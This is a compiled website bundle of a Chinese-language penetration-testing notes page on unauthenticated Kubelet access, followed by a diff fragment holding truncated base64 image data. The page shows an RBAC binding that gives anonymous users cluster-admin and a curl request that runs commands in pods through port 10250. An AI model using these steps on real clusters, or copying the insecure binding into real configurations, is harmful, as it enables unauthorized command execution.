s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","title":"Kubelet","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/03.Kubelet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/03.Kubelet.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"etcd","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd"},"next":{"title":"k3s\u5b89\u88c5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/"}}');var r=n(74848),l=n(28453);const c={},i="kubelet",o={},a=[{value:"\u5229\u7528",id:"\u5229\u7528",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function d(e){const t={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-08-19 16:44:07"})]})})]}),"\n",(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"kubelet",children:(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/overview/components/#kubelet",children:"kubelet"})})}),"\n",(0,r.jsxs)(t.p,{children:[(0,r.jsx)(t.code,{children:"kubelet"})," \u4f1a\u5728\u96c6\u7fa4\u4e2d\u6bcf\u4e2a",(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/architecture/nodes/",children:"\u8282\u70b9\uff08node\uff09"}),"\u4e0a\u8fd0\u884c\u3002 \u5b83\u4fdd\u8bc1",(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/overview/what-is-kubernetes/#why-containers",children:"\u5bb9\u5668\uff08containers\uff09"}),"\u90fd\u8fd0\u884c\u5728 ",(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/workloads/pods/",children:"Pod"})," \u4e2d\u3002"]}),"\n",(0,r.jsx)(t.p,{children:"kubelet \u63a5\u6536\u4e00\u7ec4\u901a\u8fc7\u5404\u7c7b\u673a\u5236\u63d0\u4f9b\u7ed9\u5b83\u7684 PodSpecs\uff0c \u786e\u4fdd\u8fd9\u4e9b PodSpecs \u4e2d\u63cf\u8ff0\u7684\u5bb9\u5668\u5904\u4e8e\u8fd0\u884c\u72b6\u6001\u4e14\u5065\u5eb7\u3002 kubelet \u4e0d\u4f1a\u7ba1\u7406\u4e0d\u662f\u7531 Kubernetes \u521b\u5efa\u7684\u5bb9\u5668."}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"systemctl status kubelet\n"})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644074.png",alt:"image-20230713223539104"})}),"\n",(0,r.jsx)(t.p,{children:"\u6bcf\u4e00\u4e2aNode\u8282\u70b9\u90fd\u6709\u4e00\u4e2akubelet\u670d\u52a1\uff0ckubelet\u76d1\u542c\u4e8610250\uff0c10248\uff0c10255\u7b49\u7aef\u53e3\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u5176\u4e2d10250\u7aef\u53e3\u662fkubelet\u4e0eapiserver\u8fdb\u884c\u901a\u4fe1\u7684\u4e3b\u8981\u7aef\u53e3\uff0c\u901a\u8fc7\u8be5\u7aef\u53e3kubelet\u53ef\u4ee5\u77e5\u9053\u81ea\u5df1\u5f53\u524d\u5e94\u8be5\u5904\u7406\u7684\u4efb\u52a1\uff0c\u8be5\u7aef\u53e3\u5728\u6700\u65b0\u7248Kubernetes\u662f\u6709\u9274\u6743\u7684\uff0c\u4f46\u5728\u5f00\u542f\u4e86\u63a5\u53d7\u533f\u540d\u8bf7\u6c42\u7684\u60c5\u51b5\u4e0b\uff0c\u4e0d\u5e26\u9274\u6743\u4fe1\u606f\u7684\u8bf7\u6c42\u4e5f\u53ef\u4ee5\u4f7f\u752810250\u63d0\u4f9b\u7684\u80fd\u529b\uff1b\u56e0\u4e3aKubernetes\u6d41\u884c\u65e9\u671f\uff0c\u5f88\u591a\u6316\u77ff\u6728\u9a6c\u57fa\u4e8e\u8be5\u7aef\u53e3\u8fdb\u884c\u4f20\u64ad\u548c\u5229\u7528\uff0c\u6240\u4ee5\u8be5\u7ec4\u4ef6\u5728\u5b89\u5168\u9886\u57df\u90e8\u5206\u7fa4\u4f53\u5185\u90e8\u7684\u77e5\u540d\u5ea6\u53cd\u800c\u4f1a\u9ad8\u4e8e APIServer\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u5982\u679c\u7528\u6237\u5f00\u542f\u4e86\u533f\u540d\u8bbf\u95eekubelet\u90a3\u4e48\uff0c\u653b\u51fb\u8005\u53ef\u4efb\u610f\u5728pods \u6267\u884c\u547d\u4ee4\u3002\u4f46\u4ec5\u4ec5\u5f00\u542f anonymous: true \u8fdc\u8fdc\u4e0d\u591f\uff0c\u5f80\u5f80\u8fd8\u8981\u540c\u65f6\u914d\u7f6eapiserver\u7684\u8eab\u4efd\uff0c\u624d\u80fd\u5229\u7528\u3002"}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644075.png",alt:"image-20230713223829297"})}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"[root@k8s-master01 k8s.yaml]# cat rbac.yaml \napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: anonymous-access\nroleRef:\n apiGroup: rbac.authorization.k8s.io\n kind: ClusterRole\n name: cluster-admin\nsubjects:\n- kind: Group\n name: system:unauthenticated\n[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml\n"})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644076.png",alt:"image-20230713223929599"})}),"\n",(0,r.jsx)(t.h2,{id:"\u5229\u7528",children:"\u5229\u7528"}),"\n",(0,r.jsx)(t.p,{children:"\u67e5\u770b\u53ef\u4ee5\u7528pods"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"# \u6267\u884c\u547d\u4ee4\ncurl -k \"https://192.168.3.105:10250/run/<namespace>/<pod-name>/<container-name>\" -d 'cmd=ls'\n"})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644077.png",alt:"image-20230713231420098"})}),"\n",(0,r.jsx)(t.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://security.tencent.com/index.php/blog/msg/183",children:"https://security.tencent.com/index.php/blog/msg/183"})}),"\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://www.deepnetwork.com/blog/2020/01/13/kubelet-api.html",children:"https://www.deepnetwork.com/blog/2020/01/13/kubelet-api.html"})}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/842307eb.f94798fd.js b/en/assets/js/842307eb.f94798fd.js new file mode 100644 index 0000000..d4a06d8 --- /dev/null +++ b/en/assets/js/842307eb.f94798fd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6508],{20487:(n,e,c)=>{c.d(e,{A:()=>r});const r="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPwAAADACAYAAAAgEw6xAAAH33RFWHRteGZpbGUAJTNDbXhmaWxlJTIwaG9zdCUzRCUyMkVsZWN0cm9uJTIyJTIwbW9kaWZpZWQlM0QlMjIyMDIyLTAyLTA1VDEzJTNBMTIlM0ExNi44NTZaJTIyJTIwYWdlbnQlM0QlMjI1LjAlMjAoTWFjaW50b3NoJTNCJTIwSW50ZWwlMjBNYWMlMjBPUyUyMFglMjAxMF8xNF81KSUyMEFwcGxlV2ViS2l0JTJGNTM3LjM2JTIwKEtIVE1MJTJDJTIwbGlrZSUyMEdlY2tvKSUyMGRyYXcuaW8lMkYxNC41LjElMjBDaHJvbWUlMkY4OS4wLjQzODkuODIlMjBFbGVjdHJvbiUyRjEyLjAuMSUyMFNhZmFyaSUyRjUzNy4zNiUyMiUyMGV0YWclM0QlMjJUVWlFOXFHTldOQVFhTndrZ05RcSUyMiUyMHZlcnNpb24lM0QlMjIxNC41LjElMjIlMjB0eXBlJTNEJTIyZGV2aWNlJTIyJTIwcGFnZXMlM0QlMjIyJTIyJTNFJTNDZGlhZ3JhbSUyMGlkJTNEJTIyeWI4Wi1PbGFsOHFJNndJdUxEOGYlMjIlMjBuYW1lJTNEJTIyJUU3JUFDJUFDJTIwMSUyMCVFOSVBMSVCNSUyMiUzRTNaWGRqcHN3RUlXZnh0TDJvaElHUWNobFRFbXJTdTJ1R2xXOTltSXZXREUyY3B3Uzh2UTFZWUFRV0cxYnFZclVLJTJCd3olMkZtRyUyQk03WlJrSlNuajRaV3hSZk51RVMlMkJ4MDRvJTJCSUI4SCUyQk00Y3A5V2FUb2xYb1dka0J2QllOQW83TVNaZyUyQmlCZWhTTUh5WURyZGJTaW1vcVpsb3BudG1KUm8zUjlYVFlpNWJUWFN1YTg1bXd5NmljcXo4RXN3Vms0YTlHJTJGUk1YZWRIdmpLTjFGeWxwUHhneU9SU1U2ZnBLQ2xJVUpFWnIyN1hLVThKbEM2JTJGbjBzM2J2aElkZnN4d1pYOW53bmt0ViUyQkd6SkRyOSUyQm4xZmYlMkZ0YzElMkJINVBhenlrOG9qSkl6U0ZTSVlFWUxTRUsxVEZKTUgyMVQ4SFNSaG01Nk0wVWZGZUx1NGh3SlNGOEx5WFVXek5scTdXbkJhWVV2cGV0ZzFYN1N5VzFvSzJaYkI0OVBUNDQ2cUElMkJoZ09vNWMlMkYyQ04zZyUyQmtIU01DUDhpTjVhZFhNOGNEVDFlSVhKZmNtc1lOZ1FtJTJCQnhaQURmb2g5T3ZSVWR6YlZGeTVHWUZHb1lqeVllbVJzMnNBNmolMkZBN2k5Z0QxSHNJWkk4WE1UJTJGQ1hlQTc0MDdXTUFkb1RoRm0lMkZEQ2ZZczJ3V0RBakx3allhZDRPMnlKbHRvNFJXbkZXN1pDeWh1SlNwRXIxODBjT2U1MDBuSVY3bkxaUUtBVWpMWGJMUG81ZGZ5dWxxNXZIUFhtamtZTGh2ciUyRnl0QndidWl0YSUyQjY2cmRwbWRqU3lJWVptZTI3ZlBqZ2o4N3NmSXh5OWZXc3RuU0w4RjlSZGQzeUlMckdyNXp4SWZ3RSUzRCUzQyUyRmRpYWdyYW0lM0UlM0NkaWFncmFtJTIwaWQlM0QlMjJ3Uk53U2tKVUc1OUx1MmF0Q3ZhdSUyMiUyMG5hbWUlM0QlMjIlRTclQUMlQUMlMjAyJTIwJUU5JUExJUI1JTIyJTNFN1paZGI1c3dGSVolMkZqYVh1b2xKc041QmVEa28zYWVuSHhNVXVLd3U3WU5YWTFIRUMyYSUyQmZLWWNRUXFTcTA5cHU2cTVpUHpiSDhmdWNSQ0FhbDgwWHk2cml5bkNoRUpueEJ0RUxSQWpHaThCJTJGdEdUYmtVVTQ3MEJ1SllkTkEwamxUd0Z3Qm5RdHVWaU5OanBqbEpQVkdHWkdhNUc1RVdQV21ucTg3ZDZvOGFrVnk4VUVwQmxUVSUyRnBEY2xmQUxVZzQ4SzlDNWtWJTJGTWc3T3U1V1M5WnZoSnF1Q2NWUHZJWm9nR2x0alhEY3FtMWlvTnJ3JTJCbDgwMXIwaTQlMkZMNDhmWGpNbHVuajNiZm03clFyZHZtU1IzWlhzRUs3UDF1YWRLVTNUSzBoTHkwVlhOZHQlMkJ3eXRXV3N1MmpvelJLTzZrRTZrRmN2YTFkcDNqV2VGSzVXZllUJTJCOE45cGRzbEtxdG1GdWJtOXZVcVpYd0tFOWNPRG5LMmZOdzg0SjZYZkFxWkQ1Umxnbm1nT1R6OFNBZDI1OFV3dFRDbWUzJTJGam1vUW1aUUd2cVp6R0ZlRDkyQmUlMkJYRlhtY0V3QmcwWkw0clBZVHVC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